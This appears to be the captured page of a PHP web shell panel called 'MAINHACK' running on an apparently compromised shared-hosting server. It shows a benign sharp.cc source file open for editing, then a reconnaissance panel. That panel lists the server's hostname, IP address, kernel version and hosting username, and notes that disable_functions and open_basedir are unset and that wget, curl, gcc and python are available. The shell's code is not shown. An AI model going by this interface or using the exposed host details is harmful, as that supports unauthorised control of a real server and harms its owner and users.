[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: sharp.cc
/*! Copyright 2013 Lovell Fuller and others. SPDX-License-Identifier: Apache-2.0 */ #include <mutex> #include <napi.h> #include <vips/vips8> #include "./common.h" #include "./metadata.h" #include "./pipeline.h" #include "./stats.h" #include "./utilities.h" Napi::Object init(Napi::Env env, Napi::Object exports) { static std::once_flag sharp_vips_init_once; std::call_once(sharp_vips_init_once, []() { vips_init("sharp"); }); g_log_set_handler("VIPS", static_cast<GLogLevelFlags>(G_LOG_LEVEL_WARNING), static_cast<GLogFunc>(sharp::VipsWarningCallback), nullptr); // Methods available to JavaScript exports.Set("metadata", Napi::Function::New(env, metadata)); exports.Set("pipeline", Napi::Function::New(env, pipeline)); exports.Set("cache", Napi::Function::New(env, cache)); exports.Set("concurrency", Napi::Function::New(env, concurrency)); exports.Set("counters", Napi::Function::New(env, counters)); exports.Set("simd", Napi::Function::New(env, simd)); exports.Set("libvipsVersion", Napi::Function::New(env, libvipsVersion)); exports.Set("format", Napi::Function::New(env, format)); exports.Set("block", Napi::Function::New(env, block)); exports.Set("_maxColourDistance", Napi::Function::New(env, _maxColourDistance)); exports.Set("_isUsingJemalloc", Napi::Function::New(env, _isUsingJemalloc)); exports.Set("_isUsingX64V2", Napi::Function::New(env, _isUsingX64V2)); exports.Set("stats", Napi::Function::New(env, stats)); return exports; } NODE_API_MODULE(sharp, init)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344